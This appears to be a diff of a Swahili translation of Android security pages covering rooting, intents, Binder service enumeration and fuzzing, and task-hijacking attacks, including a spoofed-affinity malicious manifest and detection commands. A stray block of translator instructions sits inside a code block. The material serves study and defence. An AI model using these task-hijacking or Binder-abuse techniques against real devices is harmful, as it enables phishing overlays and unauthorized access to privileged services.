Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zinaweza kuwa **zinakimbia na ruhusa nyingi sana** (kama root).
|
||||
|
||||
- Zile zinazokuja na **AOSP** (Mradi wa Msource wa Android) **ROM**
|
||||
- Zile zinazokuja na **AOSP** (Android OpenSource Project) **ROM**
|
||||
- Zilizoongezwa na **mtengenezaji** wa kifaa
|
||||
- Zilizoongezwa na **mtoa huduma wa simu** (ikiwa imenunuliwa kutoka kwao)
|
||||
|
||||
## Rooting
|
||||
|
||||
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa kawaida unahitaji **kuchokoza** 1 au 2 **mapungufu** ambayo huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Mara baada ya kuchokoza kufanya kazi, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika mabadiliko ya PATH ya mtumiaji kama `/system/xbin`.
|
||||
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa kawaida unahitaji **kufanya matumizi** ya udhaifu 1 au 2 ambayo huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Mara tu udhaifu umefanikiwa, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika mabadiliko ya PATH ya mtumiaji kama `/system/xbin`.
|
||||
|
||||
Mara baada ya faili ya su kuwekwa, programu nyingine ya Android inatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
||||
Mara tu faili ya su inapoanzishwa, programu nyingine ya Android inatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye Google Play store).
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya
|
||||
> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya.
|
||||
|
||||
### ROMs
|
||||
|
||||
Inawezekana **kurekebisha OS kwa kusakinisha firmware maalum**. Kufanya hivi kunawezesha kuongeza matumizi ya kifaa cha zamani, kupita vizuizi vya programu au kupata ufikiaji wa msimbo wa hivi punde wa Android.\
|
||||
**OmniROM** na **LineageOS** ni mbili ya firmware maarufu zaidi za kutumia.
|
||||
|
||||
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wazalishaji wengine wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
|
||||
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wakati mwingine watengenezaji wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
|
||||
|
||||
### Matokeo
|
||||
|
||||
Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata hiyo, itakuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu.
|
||||
Mara tu kifaa kikiwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata ufikiaji huo, inaweza kuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu.
|
||||
|
||||
## Msingi wa Programu za Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Muundo wa programu za Android unarejelewa kama _muundo wa faili la APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kiendelezi cha faili kuwa .zip, maudhui yanaweza kutolewa na kuangaliwa).
|
||||
- Muundo wa programu za Android unarejelewa kama _APK file format_. Kimsingi ni **ZIP file** (kwa kubadilisha kiambatisho cha faili kuwa .zip, maudhui yanaweza kutolewa na kuangaliwa).
|
||||
- Maudhui ya APK (Siyo ya kina)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
@ -99,7 +99,7 @@ Kwa ajili ya uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza ku
|
||||
|
||||
## Intents
|
||||
|
||||
Intents ndiyo njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyake au na programu nyingine. Hizi ni vitu vya ujumbe vinaweza pia kubeba data kati ya programu au vipengele, sawa na jinsi maombi ya GET/POST yanavyotumika katika mawasiliano ya HTTP.
|
||||
Intents ndiyo njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyake au na programu nyingine. Hizi ni vitu vya ujumbe pia vinaweza kubeba data kati ya programu au vipengele, sawa na jinsi maombi ya GET/POST yanavyotumika katika mawasiliano ya HTTP.
|
||||
|
||||
Hivyo, Intent kimsingi ni **ujumbe unaopita kati ya vipengele**. Intents **zinaweza kuelekezwa** kwa vipengele maalum au programu, **au zinaweza kutumwa bila mpokeaji maalum**.\
|
||||
Ili kuwa rahisi, Intent inaweza kutumika:
|
||||
@ -110,17 +110,17 @@ Ili kuwa rahisi, Intent inaweza kutumika:
|
||||
- Kufikia data kupitia ContentProviders
|
||||
- Kama kurudi nyuma kushughulikia matukio
|
||||
|
||||
Ikiwa ni hatari, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**.
|
||||
Ikiwa kuna udhaifu, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**.
|
||||
|
||||
### Kichujio cha Intent
|
||||
### Filter ya Intent
|
||||
|
||||
**Kichujio cha Intents** kinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza vichujio hivi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika ni chaguo pia.
|
||||
**Filter za Intent** zinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza filters hizi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika hizo pia ni chaguo.
|
||||
|
||||
Vichujio vya Intents vinajumuisha makundi, vitendo, na vichujio vya data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
|
||||
Filter za Intent zinajumuisha makundi, vitendo, na filters za data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
|
||||
|
||||
Nafasi muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa kichujio cha Intent kimewekwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika tafsiri zao za hati.
|
||||
Nukta muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa filter ya Intent imetangazwa kwa ajili yake katika manifest. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **attribute ya `exported`** kuwa **`false`** katika tafsiri zao za manifest.
|
||||
|
||||
Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **`permission`** attribute inaweza kuwekwa ili kuhakikisha kwamba ni programu tu zenye ruhusa iliyotolewa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo.
|
||||
Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **Attribute ya `permission`** inaweza kuwekwa ili kuhakikisha kwamba ni programu tu zenye ruhusa iliyotengwa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -143,17 +143,17 @@ Nia hii inapaswa kutangazwa ndani ya hati kama katika mfano ufuatao:
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
An intent-filter inahitaji kuendana na **action**, **data** na **category** ili kupokea ujumbe.
|
||||
An intent-filter needs to match the **action**, **data** and **category** to receive a message.
|
||||
|
||||
Mchakato wa "Intent resolution" unamua ni programu ipi itakayopokea kila ujumbe. Mchakato huu unazingatia **priority attribute**, ambayo inaweza kuwekwa katika **intent-filter declaration**, na **ile yenye kipaumbele cha juu itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **conflict** itatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuamua**.
|
||||
The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**.
|
||||
|
||||
### Explicit Intents
|
||||
|
||||
Explicit intent inabainisha jina la darasa ambalo linawalenga:
|
||||
An explicit intent specifies the class name it's targeting:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
Katika programu nyingine ili kufikia nia iliyotangazwa hapo awali unaweza kutumia:
|
||||
Katika programu nyingine ili kufikia nia iliyotangazwa awali unaweza kutumia:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
@ -167,17 +167,17 @@ Hizi zinawaruhusu programu nyingine **kuchukua hatua kwa niaba ya programu yako*
|
||||
|
||||
Tofauti na intents za awali, ambazo zinapokelewa na programu moja tu, broadcast intents **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **mpossible kuweka programu ambayo inapaswa kupokea** ujumbe kwa kutumia Intent.setPackage.
|
||||
|
||||
Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma broadcast**. Programu inayopokea itahitaji kuwa na ruhusa hiyo.
|
||||
Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma matangazo**. Programu inayopokea itahitaji kuwa na ruhusa hiyo.
|
||||
|
||||
Kuna **aina mbili** za Broadcasts: **Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Agizo** linategemea **kipaumbele kilichowekwa ndani ya kipengele cha mpokeaji**. **Kila programu inaweza kushughulikia, kupeleka au kuacha Broadcast.**
|
||||
Kuna **aina mbili** za Matangazo: **Ya Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Agizo** linategemea **kipaumbele kilichowekwa ndani ya kipengele cha mpokeaji**. **Kila programu inaweza kushughulikia, kupeleka au kuacha Matangazo.**
|
||||
|
||||
Inawezekana **kutuma** **broadcast** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`.\
|
||||
Inawezekana **kutuma** **matangazo** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`.\
|
||||
Unaweza pia kutumia kazi **`sendBroadcast`** kutoka **`LocalBroadCastManager`** inahakikisha **ujumbe hauondoki kwenye programu**. Kwa kutumia hii hutahitaji hata kusafirisha kipengele cha mpokeaji.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Aina hii ya Broadcasts **inaweza kufikiwa muda mrefu baada ya kutumwa**.\
|
||||
Hizi zilikataliwa katika kiwango cha API 21 na inashauriwa **usizitumie**.\
|
||||
Aina hii ya Matangazo **inaweza kufikiwa muda mrefu baada ya kutumwa**.\
|
||||
Hizi ziliondolewa katika kiwango cha API 21 na inashauriwa **usizitumie**.\
|
||||
**Zinawaruhusu programu yoyote kunusa data, lakini pia kuibadilisha.**
|
||||
|
||||
Ikiwa unapata kazi zinazojumuisha neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuziondoa**.
|
||||
@ -217,7 +217,7 @@ Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](#exploiting-sche
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano ya kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
|
||||
### Mifano Muhimu
|
||||
|
||||
@ -229,7 +229,7 @@ Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](#exploiting-sche
|
||||
|
||||
## Vipengele
|
||||
|
||||
Hivi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa huduma.**
|
||||
Hizi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa huduma.**
|
||||
|
||||
### Shughuli ya Kuanza na shughuli nyingine
|
||||
|
||||
@ -276,7 +276,7 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) ni **operatives za nyuma** zinazoweza kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata watumiaji wanapobadilisha programu, na kufanya huduma kuwa muhimu kwa **operesheni za muda mrefu**.
|
||||
|
||||
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, huku **Intents** ikiwa njia kuu ya kuzindua huduma kama kiingilio cha programu. Mara huduma inapozinduliwa kwa kutumia njia ya `startService`, njia yake ya `onStart` inaanza kufanya kazi na inaendelea kukimbia hadi njia ya `stopService` itakapoitwa wazi. Vinginevyo, ikiwa jukumu la huduma linategemea muunganisho wa mteja hai, njia ya `bindService` inatumika kuunganisha mteja na huduma, ikihusisha njia ya `onBind` kwa ajili ya kupitisha data.
|
||||
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, huku **Intents** ikiwa njia kuu ya kuzindua huduma kama kiingilio cha programu. Mara huduma inapozinduliwa kwa kutumia njia ya `startService`, njia yake ya `onStart` inaanza kufanya kazi na inaendelea kukimbia hadi njia ya `stopService` itakapoitwa wazi. Vinginevyo, ikiwa jukumu la huduma linategemea muunganisho wa mteja ulio hai, njia ya `bindService` inatumika kuunganisha mteja na huduma, ikihusisha njia ya `onBind` kwa ajili ya kupitisha data.
|
||||
|
||||
Matumizi ya kuvutia ya huduma ni pamoja na upigaji muziki wa nyuma au upataji wa data ya mtandao bila kuingilia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kufanywa kupatikana kwa michakato mingine kwenye kifaa hicho hicho kupitia **exporting**. Hii si tabia ya kawaida na inahitaji usanidi wazi katika faili ya Android Manifest:
|
||||
```xml
|
||||
@ -323,12 +323,12 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
|
||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui ama kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum.
|
||||
|
||||
Android inatoa aina mbili kuu za WebView:
|
||||
|
||||
- **WebViewClient** ni mzuri kwa HTML ya msingi lakini haisaidii kazi ya arifa ya JavaScript, ikihusisha jinsi mashambulizi ya XSS yanavyoweza kupimwa.
|
||||
- **WebChromeClient** inafanya kazi kama uzoefu kamili wa kivinjari cha Chrome.
|
||||
- **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome.
|
||||
|
||||
Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa.
|
||||
|
||||
@ -346,15 +346,15 @@ Ili kudhibiti ufikiaji wa faili:
|
||||
|
||||
### **Saini ya Kidijitali ya Programu**
|
||||
|
||||
- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kuwasilishwa kwa kifaa.
|
||||
- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa usafirishaji wake kwa kifaa.
|
||||
|
||||
### **Uhakikisho wa Programu kwa Usalama Bora**
|
||||
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. **Mchakato huu wa uhakikisho** unaweza kuwatahadharisha watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuboresha usalama wa mtumiaji.
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. Mchakato huu wa **uhakikisho** unaweza kuwatahadharisha watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuboresha usalama wa mtumiaji.
|
||||
|
||||
### **Usimamizi wa Kifaa cha Simu (MDM)**
|
||||
|
||||
- **MDM solutions** zinatoa **uangalizi na usalama** kwa vifaa vya simu kupitia **Device Administration API**. Zinahitaji usakinishaji wa programu ya Android ili kudhibiti na kulinda vifaa vya simu kwa ufanisi. Kazi kuu ni pamoja na **kulazimisha sera za nywila**, **kulazimisha usimbaji wa hifadhi**, na **kuruhusu kufuta data kwa mbali**, kuhakikisha udhibiti na usalama wa kina juu ya vifaa vya simu.
|
||||
- **MDM solutions** zinatoa **uangalizi na usalama** kwa vifaa vya simu kupitia **Device Administration API**. Zinahitaji usakinishaji wa programu ya Android ili kusimamia na kulinda vifaa vya simu kwa ufanisi. Kazi kuu ni pamoja na **kulazimisha sera za nywila**, **kulazimisha usimbaji wa hifadhi**, na **kuruhusu kufuta data kwa mbali**, kuhakikisha udhibiti na usalama wa kina juu ya vifaa vya simu.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -369,7 +369,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
|
||||
Android *Binder* IPC inatoa huduma nyingi **za mfumo na za wauzaji**. Huduma hizo zinakuwa **uso wa shambulio** wakati zinapopelekwa bila ukaguzi mzuri wa ruhusa (tabaka la AIDL lenyewe halifanyi *hakuna* udhibiti wa ufikiaji).
|
||||
|
||||
### 1. Gundua huduma zinazotembea
|
||||
### 1. Kugundua huduma zinazotembea
|
||||
```bash
|
||||
# from an adb shell (USB or wireless)
|
||||
service list # simple one-liner
|
||||
@ -378,8 +378,9 @@ am list services # identical output, ActivityManager wrapper
|
||||
1. Tafsiri kila kitu kwa usahihi na kwa ufupi.
|
||||
2. Usipoteze taarifa muhimu katika tafsiri.
|
||||
3. Usitafsiri alama za markdown au vitambulisho vya html.
|
||||
4. Usitafsiri viungo au njia.
|
||||
5. Usibadilishe au kutafsiri vitambulisho vyovyote.
|
||||
4. Usibadilishe viungo au njia.
|
||||
5. Usitafsiri majina ya mbinu za hacking au maneno ya kawaida ya hacking.
|
||||
6. Usiongeze chochote kisichohitajika katika majibu yako.
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -400,8 +401,8 @@ A valid reply returns the interface name encoded as a UTF-16 string inside a `Pa
|
||||
Syntax: `service call <name> <code> [type value ...]`
|
||||
|
||||
Common argument specifiers:
|
||||
* `i32 <int>` – thamani ya 32-bit iliyoandikwa
|
||||
* `i64 <long>` – thamani ya 64-bit iliyoandikwa
|
||||
* `i32 <int>` – thamani ya 32-bit iliyoidhinishwa
|
||||
* `i64 <long>` – thamani ya 64-bit iliyoidhinishwa
|
||||
* `s16 <string>` – mfuatano wa UTF-16 (Android 13+ inatumia `utf16`)
|
||||
|
||||
Mfano – anzisha ufuatiliaji wa mtandao na uid **1** kwenye simu ya MediaTek:
|
||||
@ -422,7 +423,7 @@ done
|
||||
```
|
||||
Ikiwa huduma ilikusanywa **na proguard** ramani lazima ikadiriwe - angalia hatua inayofuata.
|
||||
|
||||
### 5. Ramani za nambari ↔ mbinu kupitia onTransact()
|
||||
### 5. Mipangilio ya codes ↔ mbinu kupitia onTransact()
|
||||
Fanya decompile jar/odex inayotekeleza interface (kwa AOSP stubs angalia `/system/framework`; OEMs mara nyingi hutumia `/system_ext` au `/vendor`).
|
||||
Tafuta `Stub.onTransact()` - ina `switch(transactionCode)` kubwa:
|
||||
```java
|
||||
@ -434,10 +435,10 @@ updateCtaAppStatus(appId, ok);
|
||||
reply.writeNoException();
|
||||
return true;
|
||||
```
|
||||
Sasa prototipu na **aina za parameta** ziko wazi kabisa.
|
||||
Sasa prototipu na **aina za parameta** zimeeleweka wazi.
|
||||
|
||||
### 6. Kutambua ukosefu wa ukaguzi wa ruhusa
|
||||
Utekelezaji (mara nyingi darasa la ndani `Impl`) unawajibika kwa uthibitisho:
|
||||
Utekelezaji (mara nyingi darasa la ndani `Impl`) unawajibika kwa mamlaka:
|
||||
```java
|
||||
private void updateCtaAppStatus(int uid, boolean status) {
|
||||
if (!isPermissionAllowed()) {
|
||||
@ -452,9 +453,9 @@ Utafiti wa kesi – *MediaTek* `startMonitorProcessWithUid()` (muamala **8**) in
|
||||
|
||||
### 7. Kuandaa tathmini
|
||||
Zana / skripti zinazoongeza kasi ya upelelezi wa Binder:
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – inaonyesha `/dev/binderfs` na nodi za huduma kila moja
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – inafichua `/dev/binderfs` na nodi za huduma kwa kila huduma
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – inatembea kwenye jedwali la binder na kuchapisha ACLs
|
||||
* Frida kiufupi: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
* Kiufupi cha Frida: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
|
||||
---
|
||||
|
||||
|
@ -40,7 +40,7 @@ android:launchMode="singleTask" >
|
||||
</activity>
|
||||
```
|
||||
2. Programu mbaya inaanzishwa mara moja ili kazi (ikiwa na affinity iliyodanganywa) iwepo katika kazi za hivi karibuni.
|
||||
3. Wakati mtumiaji baadaye anafungua programu halisi, Android inakuta tayari kuna kazi ambayo **root affinity inalingana na kifurushi** na inarudisha kazi hiyo kwenye foreground.
|
||||
3. Wakati mtumiaji baadaye anafungua programu halisi, Android inagundua tayari kuna kazi ambayo **root affinity inalingana na kifurushi** na inarudisha kazi hiyo kwenye foreground.
|
||||
4. UI ya mshambuliaji inaonyeshwa kwanza.
|
||||
|
||||
### Default–Affinity (no `singleTask`) variant – Caller ID case study
|
||||
@ -68,7 +68,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</activity>
|
||||
```
|
||||
3. Mara tu mtumiaji anapoweka na kufungua programu mbaya **mara moja**, kazi ambayo affinity yake inalingana na kifurushi cha mwathirika inakuwepo (lakini inakaa nyuma).
|
||||
4. Wakati programu halisi ya Caller ID inazinduliwa, Android inatumia tena kazi hiyo na kuleta `HackActivity` kwenye foreground → dirisha la udukuzi/unyanyasaji wa ruhusa.
|
||||
4. Wakati programu halisi ya Caller ID inazinduliwa, Android inatumia tena kazi hiyo na kuleta `HackActivity` kwenye foreground → dirisha la udukuzi/rubani mbaya.
|
||||
|
||||
> NOTE: Kuanzia na **Android 11 (API 30)** mfumo hauweki vifurushi viwili ambavyo si sehemu ya UID moja kwenye kazi moja kwa default, ikipunguza toleo hili maalum. Matoleo ya zamani yanaendelea kuwa hatarini.
|
||||
|
||||
@ -81,10 +81,10 @@ Bulletin ya usalama ya Google ya Mei-2020 ilirekebisha toleo la juu zaidi linalo
|
||||
Mambo muhimu:
|
||||
|
||||
* Programu mbaya isiyo na ruhusa inaweza, mara tu ikifunguliwa, kuzunguka kazi zinazotembea na kuita APIs zilizofichwa ili **kuhamasisha** shughuli yake mwenyewe kwenye kazi yoyote.
|
||||
* Kwa sababu shughuli inaingizwa baada ya muda wa kukimbia, wala `launchMode` wala uchambuzi wa static wa manifest hauwezi kugundua shambulio hilo mapema.
|
||||
* Kwa sababu shughuli inaingizwa baada ya muda wa kukimbia, wala `launchMode` wala uchambuzi wa static wa manifest hauwezi kugundua shambulio kabla.
|
||||
* Imefanyiwa marekebisho kwa kurudisha ukaguzi kwenye **Android 8.0/8.1/9** (Mei 2020 SPL). **Android 10 na baadaye hazihusiki.**
|
||||
|
||||
Gundua kwenye vifaa vilivyorekebishwa kabla ya kurekebishwa inaweza kufanywa kwa `adb shell dumpsys activity activities` na kuangalia shughuli za kushangaza ambazo jina la kifurushi kinatofautiana na *affinity* ya kazi.
|
||||
Ugunduzi kwenye vifaa vilivyorekebishwa kabla unaweza kufanywa kwa `adb shell dumpsys activity activities` na kuangalia shughuli za kushuku ambazo jina la kifurushi kinatofautiana na *affinity* ya kazi.
|
||||
|
||||
Kuzuia kwa vifaa vya zamani ni sawa na udukuzi wa Kazi wa kawaida **pamoja na** uthibitisho wa wakati wa kukimbia (kwa mfano, kuita [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) na kuthibitisha jina lako la kifurushi).
|
||||
|
||||
@ -92,7 +92,7 @@ Kuzuia kwa vifaa vya zamani ni sawa na udukuzi wa Kazi wa kawaida **pamoja na**
|
||||
|
||||
## Detection & Exploitation checklist
|
||||
|
||||
1. **Static review** – Pull `AndroidManifest.xml` kutoka kwa APK lengwa na uhakikishe kwamba kila `<activity>` (au kipengele cha jumla `<application>`) kina `android:taskAffinity=""` (bila maudhui) **au** thamani iliyobinafsishwa. Zana kama:
|
||||
1. **Static review** – Pull `AndroidManifest.xml` kutoka APK lengwa na kuangalia kwamba kila `<activity>` (au kipengele cha jumla `<application>`) kina `android:taskAffinity=""` (bila maudhui) **au** thamani iliyobinafsishwa. Zana kama:
|
||||
```bash
|
||||
# Using apkanalyzer (Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
Kazi ambayo root affinity yake inalingana na kifurushi cha mwathirika lakini shughuli yake ya juu inahusiana na kifurushi *tofauti* ni bendera nyekundu.
|
||||
Kazi ambayo root affinity inalingana na kifurushi cha mwathirika lakini shughuli yake ya juu inahusiana na kifurushi *tofauti* ni bendera nyekundu.
|
||||
3. Tengeneza programu mbaya kama ilivyoelezwa hapo juu, au tumia **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
@ -120,7 +120,7 @@ Waendelezaji wanapaswa:
|
||||
|
||||
